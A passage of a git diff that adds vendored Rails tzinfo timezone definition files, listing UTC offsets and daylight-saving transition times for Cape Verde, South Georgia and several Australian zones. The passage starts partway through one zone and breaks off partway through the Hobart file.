1919, 3, :o3, 58128445, 24 + tz.transition 1919, 10, :o2, 58133917, 24 + tz.transition 1920, 3, :o3, 58137229, 24 + tz.transition 1920, 10, :o2, 58142701, 24 + tz.transition 1921, 3, :o3, 58145989, 24 + tz.transition 1921, 10, :o2, 58151461, 24 + tz.transition 1924, 4, :o3, 58173421, 24 + tz.transition 1924, 10, :o2, 58177765, 24 + tz.transition 1926, 4, :o3, 58190965, 24 + tz.transition 1926, 10, :o2, 58194997, 24 + tz.transition 1927, 4, :o3, 58199533, 24 + tz.transition 1927, 10, :o2, 58203733, 24 + tz.transition 1928, 4, :o3, 58208437, 24 + tz.transition 1928, 10, :o2, 58212637, 24 + tz.transition 1929, 4, :o3, 58217341, 24 + tz.transition 1929, 10, :o2, 58221373, 24 + tz.transition 1931, 4, :o3, 58234813, 24 + tz.transition 1931, 10, :o2, 58238845, 24 + tz.transition 1932, 4, :o3, 58243213, 24 + tz.transition 1932, 10, :o2, 58247581, 24 + tz.transition 1934, 4, :o3, 58260853, 24 + tz.transition 1934, 10, :o2, 58265221, 24 + tz.transition 1935, 3, :o3, 58269421, 24 + tz.transition 1935, 10, :o2, 58273957, 24 + tz.transition 1936, 4, :o3, 58278661, 24 + tz.transition 1936, 10, :o2, 58282693, 24 + tz.transition 1937, 4, :o3, 58287061, 24 + tz.transition 1937, 10, :o2, 58291429, 24 + tz.transition 1938, 3, :o3, 58295629, 24 + tz.transition 1938, 10, :o2, 58300165, 24 + tz.transition 1939, 4, :o3, 58304869, 24 + tz.transition 1939, 11, :o2, 58310077, 24 + tz.transition 1940, 2, :o3, 58312429, 24 + tz.transition 1940, 10, :o2, 58317805, 24 + tz.transition 1941, 4, :o3, 58322173, 24 + tz.transition 1941, 10, :o2, 58326565, 24 + tz.transition 1942, 3, :o3, 58330405, 24 + tz.transition 1942, 4, :o4, 4860951, 2 + tz.transition 1942, 8, :o3, 4861175, 2 + tz.transition 1942, 10, :o2, 58335781, 24 + tz.transition 1943, 3, :o3, 58339141, 24 + tz.transition 1943, 4, :o4, 4861665, 2 + tz.transition 1943, 8, :o3, 4861931, 2 + tz.transition 1943, 10, :o2, 58344685, 24 + tz.transition 1944, 3, :o3, 58347877, 24 + tz.transition 1944, 4, :o4, 4862407, 2 + tz.transition 1944, 8, :o3, 4862659, 2 + tz.transition 1944, 10, :o2, 58353421, 24 + tz.transition 1945, 3, :o3, 58356613, 24 + tz.transition 1945, 4, :o4, 4863135, 2 + tz.transition 1945, 8, :o3, 4863387, 2 + tz.transition 1945, 10, :o2, 58362157, 24 + tz.transition 1946, 4, :o3, 58366021, 24 + tz.transition 1946, 10, :o2, 58370389, 24 + tz.transition 1947, 4, :o3, 7296845, 3 + tz.transition 1947, 10, :o2, 7297391, 3 + tz.transition 1948, 4, :o3, 7297937, 3 + tz.transition 1948, 10, :o2, 7298483, 3 + tz.transition 1949, 4, :o3, 7299029, 3 + tz.transition 1949, 10, :o2, 7299575, 3 + tz.transition 1951, 4, :o3, 7301213, 3 + tz.transition 1951, 10, :o2, 7301780, 3 + tz.transition 1952, 4, :o3, 7302326, 3 + tz.transition 1952, 10, :o2, 7302872, 3 + tz.transition 1953, 4, :o3, 7303418, 3 + tz.transition 1953, 10, :o2, 7303964, 3 + tz.transition 1954, 4, :o3, 7304510, 3 + tz.transition 1954, 10, :o2, 7305056, 3 + tz.transition 1955, 4, :o3, 7305602, 3 + tz.transition 1955, 10, :o2, 7306148, 3 + tz.transition 1956, 4, :o3, 7306694, 3 + tz.transition 1956, 10, :o2, 7307261, 3 + tz.transition 1957, 4, :o3, 7307807, 3 + tz.transition 1957, 10, :o2, 7308353, 3 + tz.transition 1958, 4, :o3, 7308899, 3 + tz.transition 1958, 10, :o2, 7309445, 3 + tz.transition 1959, 4, :o3, 7309991, 3 + tz.transition 1959, 10, :o2, 7310537, 3 + tz.transition 1960, 4, :o3, 7311083, 3 + tz.transition 1960, 10, :o2, 7311629, 3 + tz.transition 1961, 4, :o3, 7312175, 3 + tz.transition 1961, 10, :o2, 7312721, 3 + tz.transition 1962, 4, :o3, 7313267, 3 + tz.transition 1962, 10, :o2, 7313834, 3 + tz.transition 1963, 4, :o3, 7314380, 3 + tz.transition 1963, 10, :o2, 7314926, 3 + tz.transition 1964, 4, :o3, 7315472, 3 + tz.transition 1964, 10, :o2, 7316018, 3 + tz.transition 1965, 4, :o3, 7316564, 3 + tz.transition 1965, 10, :o2, 7317110, 3 + tz.transition 1966, 4, :o5, 7317656, 3 + tz.transition 1977, 3, :o6, 228272400 + tz.transition 1977, 9, :o5, 243997200 + tz.transition 1978, 4, :o6, 260326800 + tz.transition 1978, 10, :o5, 276051600 + tz.transition 1979, 4, :o6, 291776400 + tz.transition 1979, 9, :o5, 307504800 + tz.transition 1980, 3, :o6, 323226000 + tz.transition 1980, 9, :o5, 338954400 + tz.transition 1981, 3, :o6, 354679200 + tz.transition 1981, 9, :o5, 370404000 + tz.transition 1982, 3, :o6, 386128800 + tz.transition 1982, 9, :o5, 401853600 + tz.transition 1983, 3, :o6, 417582000 + tz.transition 1983, 9, :o5, 433303200 + tz.transition 1984, 3, :o6, 449028000 + tz.transition 1984, 9, :o5, 465357600 + tz.transition 1985, 3, :o6, 481082400 + tz.transition 1985, 9, :o5, 496807200 + tz.transition 1986, 3, :o6, 512532000 + tz.transition 1986, 9, :o5, 528256800 + tz.transition 1987, 3, :o6, 543981600 + tz.transition 1987, 9, :o5, 559706400 + tz.transition 1988, 3, :o6, 575431200 + tz.transition 1988, 9, :o5, 591156000 + tz.transition 1989, 3, :o6, 606880800 + tz.transition 1989, 9, :o5, 622605600 + tz.transition 1990, 3, :o6, 638330400 + tz.transition 1990, 9, :o5, 654660000 + tz.transition 1991, 3, :o6, 670384800 + tz.transition 1991, 9, :o5, 686109600 + tz.transition 1992, 3, :o6, 701834400 + tz.transition 1992, 9, :o7, 717559200 + tz.transition 1993, 3, :o6, 733280400 + tz.transition 1993, 9, :o5, 749005200 + tz.transition 1994, 3, :o6, 764730000 + tz.transition 1994, 9, :o5, 780454800 + tz.transition 1995, 3, :o6, 796179600 + tz.transition 1995, 9, :o5, 811904400 + tz.transition 1996, 3, :o6, 828234000 + tz.transition 1996, 10, :o5, 846378000 + tz.transition 1997, 3, :o6, 859683600 + tz.transition 1997, 10, :o5, 877827600 + tz.transition 1998, 3, :o6, 891133200 + tz.transition 1998, 10, :o5, 909277200 + tz.transition 1999, 3, :o6, 922582800 + tz.transition 1999, 10, :o5, 941331600 + tz.transition 2000, 3, :o6, 954032400 + tz.transition 2000, 10, :o5, 972781200 + tz.transition 2001, 3, :o6, 985482000 + tz.transition 2001, 10, :o5, 1004230800 + tz.transition 2002, 3, :o6, 1017536400 + tz.transition 2002, 10, :o5, 1035680400 + tz.transition 2003, 3, :o6, 1048986000 + tz.transition 2003, 10, :o5, 1067130000 + tz.transition 2004, 3, :o6, 1080435600 + tz.transition 2004, 10, :o5, 1099184400 + tz.transition 2005, 3, :o6, 1111885200 + tz.transition 2005, 10, :o5, 1130634000 + tz.transition 2006, 3, :o6, 1143334800 + tz.transition 2006, 10, :o5, 1162083600 + tz.transition 2007, 3, :o6, 1174784400 + tz.transition 2007, 10, :o5, 1193533200 + tz.transition 2008, 3, :o6, 1206838800 + tz.transition 2008, 10, :o5, 1224982800 + tz.transition 2009, 3, :o6, 1238288400 + tz.transition 2009, 10, :o5, 1256432400 + tz.transition 2010, 3, :o6, 1269738000 + tz.transition 2010, 10, :o5, 1288486800 + tz.transition 2011, 3, :o6, 1301187600 + tz.transition 2011, 10, :o5, 1319936400 + tz.transition 2012, 3, :o6, 1332637200 + tz.transition 2012, 10, :o5, 1351386000 + tz.transition 2013, 3, :o6, 1364691600 + tz.transition 2013, 10, :o5, 1382835600 + tz.transition 2014, 3, :o6, 1396141200 + tz.transition 2014, 10, :o5, 1414285200 + tz.transition 2015, 3, :o6, 1427590800 + tz.transition 2015, 10, :o5, 1445734800 + tz.transition 2016, 3, :o6, 1459040400 + tz.transition 2016, 10, :o5, 1477789200 + tz.transition 2017, 3, :o6, 1490490000 + tz.transition 2017, 10, :o5, 1509238800 + tz.transition 2018, 3, :o6, 1521939600 + tz.transition 2018, 10, :o5, 1540688400 + tz.transition 2019, 3, :o6, 1553994000 + tz.transition 2019, 10, :o5, 1572138000 + tz.transition 2020, 3, :o6, 1585443600 + tz.transition 2020, 10, :o5, 1603587600 + tz.transition 2021, 3, :o6, 1616893200 + tz.transition 2021, 10, :o5, 1635642000 + tz.transition 2022, 3, :o6, 1648342800 + tz.transition 2022, 10, :o5, 1667091600 + tz.transition 2023, 3, :o6, 1679792400 + tz.transition 2023, 10, :o5, 1698541200 + tz.transition 2024, 3, :o6, 1711846800 + tz.transition 2024, 10, :o5, 1729990800 + tz.transition 2025, 3, :o6, 1743296400 + tz.transition 2025, 10, :o5, 1761440400 + tz.transition 2026, 3, :o6, 1774746000 + tz.transition 2026, 10, :o5, 1792890000 + tz.transition 2027, 3, :o6, 1806195600 + tz.transition 2027, 10, :o5, 1824944400 + tz.transition 2028, 3, :o6, 1837645200 + tz.transition 2028, 10, :o5, 1856394000 + tz.transition 2029, 3, :o6, 1869094800 + tz.transition 2029, 10, :o5, 1887843600 + tz.transition 2030, 3, :o6, 1901149200 + tz.transition 2030, 10, :o5, 1919293200 + tz.transition 2031, 3, :o6, 1932598800 + tz.transition 2031, 10, :o5, 1950742800 + tz.transition 2032, 3, :o6, 1964048400 + tz.transition 2032, 10, :o5, 1982797200 + tz.transition 2033, 3, :o6, 1995498000 + tz.transition 2033, 10, :o5, 2014246800 + tz.transition 2034, 3, :o6, 2026947600 + tz.transition 2034, 10, :o5, 2045696400 + tz.transition 2035, 3, :o6, 2058397200 + tz.transition 2035, 10, :o5, 2077146000 + tz.transition 2036, 3, :o6, 2090451600 + tz.transition 2036, 10, :o5, 2108595600 + tz.transition 2037, 3, :o6, 2121901200 + tz.transition 2037, 10, :o5, 2140045200 + tz.transition 2038, 3, :o6, 59172253, 24 + tz.transition 2038, 10, :o5, 59177461, 24 + tz.transition 2039, 3, :o6, 59180989, 24 + tz.transition 2039, 10, :o5, 59186197, 24 + tz.transition 2040, 3, :o6, 59189725, 24 + tz.transition 2040, 10, :o5, 59194933, 24 + tz.transition 2041, 3, :o6, 59198629, 24 + tz.transition 2041, 10, :o5, 59203669, 24 + tz.transition 2042, 3, :o6, 59207365, 24 + tz.transition 2042, 10, :o5, 59212405, 24 + tz.transition 2043, 3, :o6, 59216101, 24 + tz.transition 2043, 10, :o5, 59221141, 24 + tz.transition 2044, 3, :o6, 59224837, 24 + tz.transition 2044, 10, :o5, 59230045, 24 + tz.transition 2045, 3, :o6, 59233573, 24 + tz.transition 2045, 10, :o5, 59238781, 24 + tz.transition 2046, 3, :o6, 59242309, 24 + tz.transition 2046, 10, :o5, 59247517, 24 + tz.transition 2047, 3, :o6, 59251213, 24 + tz.transition 2047, 10, :o5, 59256253, 24 + tz.transition 2048, 3, :o6, 59259949, 24 + tz.transition 2048, 10, :o5, 59264989, 24 + tz.transition 2049, 3, :o6, 59268685, 24 + tz.transition 2049, 10, :o5, 59273893, 24 + tz.transition 2050, 3, :o6, 59277421, 24 + tz.transition 2050, 10, :o5, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/Cape_Verde.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/Cape_Verde.rb new file mode 100644 index 00000000..61c8c150 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/Cape_Verde.rb @@ -0,0 +1,23 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Atlantic + module Cape_Verde + include TimezoneDefinition + + timezone 'Atlantic/Cape_Verde' do |tz| + tz.offset :o0, -5644, 0, :LMT + tz.offset :o1, -7200, 0, :CVT + tz.offset :o2, -7200, 3600, :CVST + tz.offset :o3, -3600, 0, :CVT + + tz.transition 1907, 1, :o1, 52219653811, 21600 + tz.transition 1942, 9, :o2, 29167243, 12 + tz.transition 1945, 10, :o1, 58361845, 24 + tz.transition 1975, 11, :o3, 186120000 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/South_Georgia.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/South_Georgia.rb new file mode 100644 index 00000000..6a4cbafb --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/South_Georgia.rb @@ -0,0 +1,18 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Atlantic + module South_Georgia + include TimezoneDefinition + + timezone 'Atlantic/South_Georgia' do |tz| + tz.offset :o0, -8768, 0, :LMT + tz.offset :o1, -7200, 0, :GST + + tz.transition 1890, 1, :o1, 1627673806, 675 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Adelaide.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Adelaide.rb new file mode 100644 index 00000000..c5d561cc --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Adelaide.rb @@ -0,0 +1,187 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Australia + module Adelaide + include TimezoneDefinition + + timezone 'Australia/Adelaide' do |tz| + tz.offset :o0, 33260, 0, :LMT + tz.offset :o1, 32400, 0, :CST + tz.offset :o2, 34200, 0, :CST + tz.offset :o3, 34200, 3600, :CST + + tz.transition 1895, 1, :o1, 10425132497, 4320 + tz.transition 1899, 4, :o2, 19318201, 8 + tz.transition 1916, 12, :o3, 3486569911, 1440 + tz.transition 1917, 3, :o2, 116222983, 48 + tz.transition 1941, 12, :o3, 38885763, 16 + tz.transition 1942, 3, :o2, 116661463, 48 + tz.transition 1942, 9, :o3, 38890067, 16 + tz.transition 1943, 3, :o2, 116678935, 48 + tz.transition 1943, 10, :o3, 38896003, 16 + tz.transition 1944, 3, :o2, 116696407, 48 + tz.transition 1971, 10, :o3, 57688200 + tz.transition 1972, 2, :o2, 67969800 + tz.transition 1972, 10, :o3, 89137800 + tz.transition 1973, 3, :o2, 100024200 + tz.transition 1973, 10, :o3, 120587400 + tz.transition 1974, 3, :o2, 131473800 + tz.transition 1974, 10, :o3, 152037000 + tz.transition 1975, 3, :o2, 162923400 + tz.transition 1975, 10, :o3, 183486600 + tz.transition 1976, 3, :o2, 194977800 + tz.transition 1976, 10, :o3, 215541000 + tz.transition 1977, 3, :o2, 226427400 + tz.transition 1977, 10, :o3, 246990600 + tz.transition 1978, 3, :o2, 257877000 + tz.transition 1978, 10, :o3, 278440200 + tz.transition 1979, 3, :o2, 289326600 + tz.transition 1979, 10, :o3, 309889800 + tz.transition 1980, 3, :o2, 320776200 + tz.transition 1980, 10, :o3, 341339400 + tz.transition 1981, 2, :o2, 352225800 + tz.transition 1981, 10, :o3, 372789000 + tz.transition 1982, 3, :o2, 384280200 + tz.transition 1982, 10, :o3, 404843400 + tz.transition 1983, 3, :o2, 415729800 + tz.transition 1983, 10, :o3, 436293000 + tz.transition 1984, 3, :o2, 447179400 + tz.transition 1984, 10, :o3, 467742600 + tz.transition 1985, 3, :o2, 478629000 + tz.transition 1985, 10, :o3, 499192200 + tz.transition 1986, 3, :o2, 511288200 + tz.transition 1986, 10, :o3, 530037000 + tz.transition 1987, 3, :o2, 542737800 + tz.transition 1987, 10, :o3, 562091400 + tz.transition 1988, 3, :o2, 574792200 + tz.transition 1988, 10, :o3, 594145800 + tz.transition 1989, 3, :o2, 606241800 + tz.transition 1989, 10, :o3, 625595400 + tz.transition 1990, 3, :o2, 637691400 + tz.transition 1990, 10, :o3, 657045000 + tz.transition 1991, 3, :o2, 667931400 + tz.transition 1991, 10, :o3, 688494600 + tz.transition 1992, 3, :o2, 701195400 + tz.transition 1992, 10, :o3, 719944200 + tz.transition 1993, 3, :o2, 731435400 + tz.transition 1993, 10, :o3, 751998600 + tz.transition 1994, 3, :o2, 764094600 + tz.transition 1994, 10, :o3, 783448200 + tz.transition 1995, 3, :o2, 796149000 + tz.transition 1995, 10, :o3, 814897800 + tz.transition 1996, 3, :o2, 828203400 + tz.transition 1996, 10, :o3, 846347400 + tz.transition 1997, 3, :o2, 859653000 + tz.transition 1997, 10, :o3, 877797000 + tz.transition 1998, 3, :o2, 891102600 + tz.transition 1998, 10, :o3, 909246600 + tz.transition 1999, 3, :o2, 922552200 + tz.transition 1999, 10, :o3, 941301000 + tz.transition 2000, 3, :o2, 954001800 + tz.transition 2000, 10, :o3, 972750600 + tz.transition 2001, 3, :o2, 985451400 + tz.transition 2001, 10, :o3, 1004200200 + tz.transition 2002, 3, :o2, 1017505800 + tz.transition 2002, 10, :o3, 1035649800 + tz.transition 2003, 3, :o2, 1048955400 + tz.transition 2003, 10, :o3, 1067099400 + tz.transition 2004, 3, :o2, 1080405000 + tz.transition 2004, 10, :o3, 1099153800 + tz.transition 2005, 3, :o2, 1111854600 + tz.transition 2005, 10, :o3, 1130603400 + tz.transition 2006, 4, :o2, 1143909000 + tz.transition 2006, 10, :o3, 1162053000 + tz.transition 2007, 3, :o2, 1174753800 + tz.transition 2007, 10, :o3, 1193502600 + tz.transition 2008, 4, :o2, 1207413000 + tz.transition 2008, 10, :o3, 1223137800 + tz.transition 2009, 4, :o2, 1238862600 + tz.transition 2009, 10, :o3, 1254587400 + tz.transition 2010, 4, :o2, 1270312200 + tz.transition 2010, 10, :o3, 1286037000 + tz.transition 2011, 4, :o2, 1301761800 + tz.transition 2011, 10, :o3, 1317486600 + tz.transition 2012, 3, :o2, 1333211400 + tz.transition 2012, 10, :o3, 1349541000 + tz.transition 2013, 4, :o2, 1365265800 + tz.transition 2013, 10, :o3, 1380990600 + tz.transition 2014, 4, :o2, 1396715400 + tz.transition 2014, 10, :o3, 1412440200 + tz.transition 2015, 4, :o2, 1428165000 + tz.transition 2015, 10, :o3, 1443889800 + tz.transition 2016, 4, :o2, 1459614600 + tz.transition 2016, 10, :o3, 1475339400 + tz.transition 2017, 4, :o2, 1491064200 + tz.transition 2017, 9, :o3, 1506789000 + tz.transition 2018, 3, :o2, 1522513800 + tz.transition 2018, 10, :o3, 1538843400 + tz.transition 2019, 4, :o2, 1554568200 + tz.transition 2019, 10, :o3, 1570293000 + tz.transition 2020, 4, :o2, 1586017800 + tz.transition 2020, 10, :o3, 1601742600 + tz.transition 2021, 4, :o2, 1617467400 + tz.transition 2021, 10, :o3, 1633192200 + tz.transition 2022, 4, :o2, 1648917000 + tz.transition 2022, 10, :o3, 1664641800 + tz.transition 2023, 4, :o2, 1680366600 + tz.transition 2023, 9, :o3, 1696091400 + tz.transition 2024, 4, :o2, 1712421000 + tz.transition 2024, 10, :o3, 1728145800 + tz.transition 2025, 4, :o2, 1743870600 + tz.transition 2025, 10, :o3, 1759595400 + tz.transition 2026, 4, :o2, 1775320200 + tz.transition 2026, 10, :o3, 1791045000 + tz.transition 2027, 4, :o2, 1806769800 + tz.transition 2027, 10, :o3, 1822494600 + tz.transition 2028, 4, :o2, 1838219400 + tz.transition 2028, 9, :o3, 1853944200 + tz.transition 2029, 3, :o2, 1869669000 + tz.transition 2029, 10, :o3, 1885998600 + tz.transition 2030, 4, :o2, 1901723400 + tz.transition 2030, 10, :o3, 1917448200 + tz.transition 2031, 4, :o2, 1933173000 + tz.transition 2031, 10, :o3, 1948897800 + tz.transition 2032, 4, :o2, 1964622600 + tz.transition 2032, 10, :o3, 1980347400 + tz.transition 2033, 4, :o2, 1996072200 + tz.transition 2033, 10, :o3, 2011797000 + tz.transition 2034, 4, :o2, 2027521800 + tz.transition 2034, 9, :o3, 2043246600 + tz.transition 2035, 3, :o2, 2058971400 + tz.transition 2035, 10, :o3, 2075301000 + tz.transition 2036, 4, :o2, 2091025800 + tz.transition 2036, 10, :o3, 2106750600 + tz.transition 2037, 4, :o2, 2122475400 + tz.transition 2037, 10, :o3, 2138200200 + tz.transition 2038, 4, :o2, 39448275, 16 + tz.transition 2038, 10, :o3, 39451187, 16 + tz.transition 2039, 4, :o2, 39454099, 16 + tz.transition 2039, 10, :o3, 39457011, 16 + tz.transition 2040, 3, :o2, 39459923, 16 + tz.transition 2040, 10, :o3, 39462947, 16 + tz.transition 2041, 4, :o2, 39465859, 16 + tz.transition 2041, 10, :o3, 39468771, 16 + tz.transition 2042, 4, :o2, 39471683, 16 + tz.transition 2042, 10, :o3, 39474595, 16 + tz.transition 2043, 4, :o2, 39477507, 16 + tz.transition 2043, 10, :o3, 39480419, 16 + tz.transition 2044, 4, :o2, 39483331, 16 + tz.transition 2044, 10, :o3, 39486243, 16 + tz.transition 2045, 4, :o2, 39489155, 16 + tz.transition 2045, 9, :o3, 39492067, 16 + tz.transition 2046, 3, :o2, 39494979, 16 + tz.transition 2046, 10, :o3, 39498003, 16 + tz.transition 2047, 4, :o2, 39500915, 16 + tz.transition 2047, 10, :o3, 39503827, 16 + tz.transition 2048, 4, :o2, 39506739, 16 + tz.transition 2048, 10, :o3, 39509651, 16 + tz.transition 2049, 4, :o2, 39512563, 16 + tz.transition 2049, 10, :o3, 39515475, 16 + tz.transition 2050, 4, :o2, 39518387, 16 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Brisbane.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Brisbane.rb new file mode 100644 index 00000000..dd85ddae --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Brisbane.rb @@ -0,0 +1,35 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Australia + module Brisbane + include TimezoneDefinition + + timezone 'Australia/Brisbane' do |tz| + tz.offset :o0, 36728, 0, :LMT + tz.offset :o1, 36000, 0, :EST + tz.offset :o2, 36000, 3600, :EST + + tz.transition 1894, 12, :o1, 26062496009, 10800 + tz.transition 1916, 12, :o2, 3486569881, 1440 + tz.transition 1917, 3, :o1, 19370497, 8 + tz.transition 1941, 12, :o2, 14582161, 6 + tz.transition 1942, 3, :o1, 19443577, 8 + tz.transition 1942, 9, :o2, 14583775, 6 + tz.transition 1943, 3, :o1, 19446489, 8 + tz.transition 1943, 10, :o2, 14586001, 6 + tz.transition 1944, 3, :o1, 19449401, 8 + tz.transition 1971, 10, :o2, 57686400 + tz.transition 1972, 2, :o1, 67968000 + tz.transition 1989, 10, :o2, 625593600 + tz.transition 1990, 3, :o1, 636480000 + tz.transition 1990, 10, :o2, 657043200 + tz.transition 1991, 3, :o1, 667929600 + tz.transition 1991, 10, :o2, 688492800 + tz.transition 1992, 2, :o1, 699379200 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Darwin.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Darwin.rb new file mode 100644 index 00000000..17de8812 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Darwin.rb @@ -0,0 +1,29 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Australia + module Darwin + include TimezoneDefinition + + timezone 'Australia/Darwin' do |tz| + tz.offset :o0, 31400, 0, :LMT + tz.offset :o1, 32400, 0, :CST + tz.offset :o2, 34200, 0, :CST + tz.offset :o3, 34200, 3600, :CST + + tz.transition 1895, 1, :o1, 1042513259, 432 + tz.transition 1899, 4, :o2, 19318201, 8 + tz.transition 1916, 12, :o3, 3486569911, 1440 + tz.transition 1917, 3, :o2, 116222983, 48 + tz.transition 1941, 12, :o3, 38885763, 16 + tz.transition 1942, 3, :o2, 116661463, 48 + tz.transition 1942, 9, :o3, 38890067, 16 + tz.transition 1943, 3, :o2, 116678935, 48 + tz.transition 1943, 10, :o3, 38896003, 16 + tz.transition 1944, 3, :o2, 116696407, 48 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Hobart.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Hobart.rb new file mode 100644 index 00000000..11384b98 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Hobart.rb @@ -0,0 +1,193 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Australia + module Hobart + include TimezoneDefinition + + timezone 'Australia/Hobart' do |tz| + tz.offset :o0, 35356, 0, :LMT + tz.offset :o1, 36000, 0, :EST + tz.offset :o2, 36000, 3600, :EST + + tz.transition 1895, 8, :o1, 52130241161, 21600 + tz.transition 1916, 9, :o2, 14526823, 6 + tz.transition 1917, 3, :o1, 19370497, 8 + tz.transition 1941, 12, :o2, 14582161, 6 + tz.transition 1942, 3, :o1, 19443577, 8 + tz.transition 1942, 9, :o2, 14583775, 6 + tz.transition 1943, 3, :o1, 19446489, 8 + tz.transition 1943, 10, :o2, 14586001, 6 + tz.transition 1944, 3, :o1, 19449401, 8 + tz.transition 1967, 9, :o2, 14638585, 6 + tz.transition 1968, 3, :o1, 14639677, 6 + tz.transition 1968, 10, :o2, 14640937, 6 + tz.transition 1969, 3, :o1, 14641735, 6 + tz.transition 1969, 10, :o2, 14643121, 6 + tz.transition 1970, 3, :o1, 5673600 + tz.transition 1970, 10, :o2, 25632000 + tz.transition 1971, 3, :o1, 37728000 + tz.transition 1971, 10, :o2, 57686400 + tz.transition 1972, 2, :o1, 67968000 + tz.transition 1972, 10, :o2, 89136000 + tz.transition 1973, 3, :o1, 100022400 + tz.transition 1973, 10, :o2, 120585600 + tz.transition 1974, 3, :o1, 131472000 + tz.transition 1974, 10, :o2, 152035200 + tz.transition 1975, 3, :o1, 162921600 + tz.transition 1975, 10, :o2, 183484800 + tz.transition 1976, 3, :o1, 194976000 + tz.transition 1976, 10, :o2, 215539200 + tz.transition 1977, 3, :o1, 226425600 + tz.transition 1977, 10, :o2, 246988800 + tz.transition 1978, 3, :o1, 257875200 + tz.transition 1978, 10, :o2, 278438400 + tz.transition 1979, 3, :o1, 289324800 + tz.transition 1979, 10, :o2, 309888000 + tz.transition 1980, 3, :o1, 320774400 + tz.transition 1980, 10, :o2, 341337600 + tz.transition 1981, 2, :o1, 352224000 + tz.transition 1981, 10, :o2, 372787200 + tz.transition 1982, 3, :o1, 386092800 + tz.transition 1982, 10, :o2, 404841600 + tz.transition 1983, 3, :o1, 417542400 + tz.transition 1983, 10, :o2, 436291200 + tz.transition 1984, 3, :o1, 447177600 + tz.transition 1984, 10, :o2, 467740800 + tz.transition 1985, 3, :o1, 478627200 + tz.transition 1985, 10, :o2, 499190400 + tz.transition 1986, 3, :o1, 510076800 + tz.transition 1986, 10, :o2, 530035200 + tz.transition 1987, 3, :o1, 542736000 + tz.transition 1987, 10, :o2, 562089600 + tz.transition 1988, 3, :o1, 574790400 + tz.transition 1988, 10, :o2, 594144000 + tz.transition 1989, 3, :o1, 606240000 + tz.transition 1989, 10, :o2, 625593600 + tz.transition 1990, 3, :o1, 637689600 + tz.transition 1990, 10, :o2, 657043200 + tz.transition 1991, 3, :o1, 670348800 + tz.transition 1991, 10, :o2, 686678400 + tz.transition 1992, 3, :o1, 701798400 + tz.transition 1992, 10, :o2, 718128000 + tz.transition 1993, 3, :o1, 733248000 + tz.transition 1993, 10, :o2, 749577600 + tz.transition 1994, 3, :o1, 764697600 + tz.transition 1994, 10, :o2, 781027200 + tz.transition 1995, 3, :o1, 796147200 + tz.transition 1995, 9, :o2, 812476800 + tz.transition 1996, 3, :o1, 828201600 + tz.transition 1996, 10, :o2, 844531200 + tz.transition 1997, 3, :o1, 859651200 + tz.transition 1997, 10, :o2, 875980800 + tz.transition 1998, 3, :o1, 891100800 + tz.transition 1998, 10, :o2, 907430400 + tz.transition 1999, 3, :o1, 922550400 + tz.transition 1999, 10, :o2, 938880000 + tz.transition 2000, 3, :o1, 954000000 + tz.transition 2000, 8, :o2, 967305600 + tz.transition 2001, 3, :o1, 985449600 + tz.transition 2001, 10, :o2, 1002384000 + tz.transition 2002, 3, :o1, 1017504000 + tz.transition 2002, 10, :o2, 1033833600 + tz.transition 2003, 3, :o1, 1048953600 + tz.transition 2003, 10, :o2, 1065283200 + tz.transition 2004, 3, :o1, 1080403200 + tz.transition 2004, 10, :o2, 1096732800 + tz.transition 2005, 3, :o1, 1111852800 + tz.transition 2005, 10, :o2, 1128182400 + tz.transition 2006, 4, :o1, 1143907200 + tz.transition 2006, 9, :o2, 1159632000 + tz.transition 2007, 3, :o1, 1174752000 + tz.transition 2007, 10, :o2, 1191686400 + tz.transition 2008, 4, :o1, 1207411200 + tz.transition 2008, 10, :o2, 1223136000 + tz.transition 2009, 4, :o1, 1238860800 + tz.transition 2009, 10, :o2, 1254585600 + tz.transition 2010, 4, :o1, 1270310400 + tz.transition 2010, 10, :o2, 1286035200 + tz.transition 2011, 4, :o1, 1301760000 + tz.transition 2011, 10, :o2, 1317484800 + tz.transition 2012, 3, :o1, 1333209600 + tz.transition 2012, 10, :o2, 1349539200 + tz.transition 2013, 4, :o1, 1365264000 + tz.transition 2013, 10, :o2, 1380988800 + tz.transition 2014, 4, :o1, 1396713600 + 